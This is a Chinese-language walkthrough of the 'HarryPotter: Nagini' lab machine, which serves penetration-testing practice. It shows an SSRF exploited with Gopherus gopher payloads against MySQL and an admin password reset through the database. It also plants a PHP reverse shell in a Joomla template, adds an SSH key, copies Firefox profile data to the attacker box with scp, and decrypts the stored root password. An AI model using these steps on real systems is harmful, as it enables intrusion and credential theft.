文章目录
- 信息收集
- 主机发现
- 端口扫描
- gobuster目录扫描
- dirsearch扫描
- joomscan扫描
- 实现http3访问
- 漏洞利用
- Gopherus工具
- GetShell
- 提权
- firefox_decrypt工具
- 总结
靶机文档:HarryPotter: Nagini
下载地址:Download (Mirror)

信息收集
主机发现

端口扫描

访问80端口

gobuster目录扫描
gobuster dir -u http://192.168.80.144 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html

dirsearch扫描
dirsearch -u 192.168.80.144

/joomla

/note.txt

需要我们用
http3来访问https://quic.nagini.hogwarts
/joomla/administrator后台

joomscan扫描
Joomla是一款知名的PHP语言编写的CMS系统。很多网站都使用Joomla!搭建而成。Kali Linux集成了一款Joomla!网站扫描工具joomscan。该工具不仅可以对网站所使用的Joomla!版本、防火墙进行探测,还可以探测已知的漏洞,并生成文本或网页形式的报告
使用这个扫描器之前需要先apt-get install joomscan下载安装
joomscan --url http://192.168.80.144/joomla


/joomla/administrator这个路径上面已经看过了,就是个后台管理页面,不知道用户名,也不知道密码
看看这个configuration.php.bak里面内容把
wget http://192.168.80.144/joomla/configuration.php.bak

cat configuration.php.bak
发现了数据库的信息,用户名:goblin,没有密码

实现http3访问
项目地址:https://github.com/cloudflare/quiche
sduo apt install cargo #安装cargo组件
sudo apt install cmake #安装cmake组件
sudo apt purge rustc #卸载系统自带的rustc
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh #重新安装最新版本的rustc
kali安装rust开发环境



source $HOME/.cargo/env #执行环境变量

rustup --version
rustc --version
cargo --version

sudo apt-get install git #安装git
git clone https://github.com/cloudflare/quiche.git #下载quiche

cargo build --examples #运行cargo默认实例的文件
cargo test #检查前面所有安装命令
cd /quiche/target/debug/examples
./http3-client https://192.168.56.144 #利用http3的客户端去访问目标靶机
实在弄不出来,耽误时间!一直报错
最后用http3-client访问https://quic.nagini.hogwarts这个地址得到有用信息:/internalResourceFeTcher.php
访问后发现是一个搜索框的样子


输入地址 后,页面发生了跳转,说明存在SSRF漏洞


漏洞利用
Gopherus工具
使用Gopherus工具工具生成payload:
python2 gopherus.py --exploit mysql
goblin #输入数据库名
show databases; #查询数据库

得到gopher连接,直接放到浏览器?url=后面,我的会报错,所以我给他进行在二次编码,编码之后刚开始放在?url=后面可能内反应,多刷新几次页面,就能看到 结果了

得到数据库名joomla

重复上面的操作,获取表名


获取数据


用户名:site_admin 加密后的密文:<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay
密文解不出来,尝试生成 一个密文,修改数据库里的数据
echo -n "JayChou" | md5sum

5cfe4dfc7664b61eff2325db0caabd27
使用工具修改site_admin用户的密码


密码修改成功!,可以使用site_admin:JayChou登陆管理员后台

GetShell
对于这类的框架,有个常用的方法就是利用他们的主题,对主题中的文件进行修改,然后访问主题文件,本地监听,即可反弹shell



使用kali自带的php-reverse-shell.php
位置在:/usr/share/webshells/php/php-reverse-shell.php
修改Protostar里的index.php,将php-reverse-shell.php内容复制到index.php里面,然后Save保存

kali监听1234端口
浏览器访问http://192.168.80.144/joomla/templates/protostar/index.php,触发反弹shell

成功拿到shell,但不是交互的shell
提权
python3 -c "import pty;pty.spawn('/bin/bash')"
在网站根目录下发现第一个魂器flag

使用base64解码后,翻译

来到/home目录下,有两个用户,在hermoine目录下发现第二个魂器flag,但是没有权限查看


在 看看snape用户家里有啥东西

解码后得到
echo "TG92ZUBsaWxseQ==" | base64 --decode

切换到snape用户

查看 有什么能用的


看到在hermoine用户下存在一个su_cp文件,我们cd到该目录下看看

使用ssh-keygen生成公钥


将生成的公钥上传到斯内普下

来到snape家目录下
将id_rsa.pub 重命名为 authorized_keys
mv id_rsa.pub authorized_keys
并且赋予执行权限

使用kali机器连接hermoine用户的时候还是让输入 密码,由于在于**ahthorized_keys文件权限不得高于700**
问题解决来源:https://blog.csdn.net/qq_39320261/article/details/128342057
然后重新给authorized_keys赋权限

现在可以免密登录赫敏了

切换到家目录下 ,查看第二个魂器flag

解码

在他的家目录下发现有一个.mozilla目录
.mozilla这个目录是Linux在使用火狐浏览器的时候,生成的,里面存在一些配置信息,更甚至有密码
firefox_decrypt工具
发现了.mozilla目录里面有个firefox 使用工具:firefox_decrypt

先将.mozilla目录复制到攻击机kali里面
scp -r .mozilla/ kali@192.168.80.141:/home/kali/tmp

工具下载
git clone https://github.com/unode/firefox_decrypt.git

工具使用
python firefox_decrypt.py ../../tmp/.mozilla/firefox

root:@Alohomora#123

总结
-
实现http3的访问 【弄不出来】
-
SSRF工具利用,以及
md5sum生成md5加密值 -
base64 --decode 的使用
-
SSH公钥写入以及scp命令
-
firefox_decrypt工具







![[技术讨论]讨论问题的两个基本原则——17年前的文字仍然有效](https://img-blog.csdnimg.cn/img_convert/361fd577ce98ed2bcf38f3c92d2f24b7.jpeg)











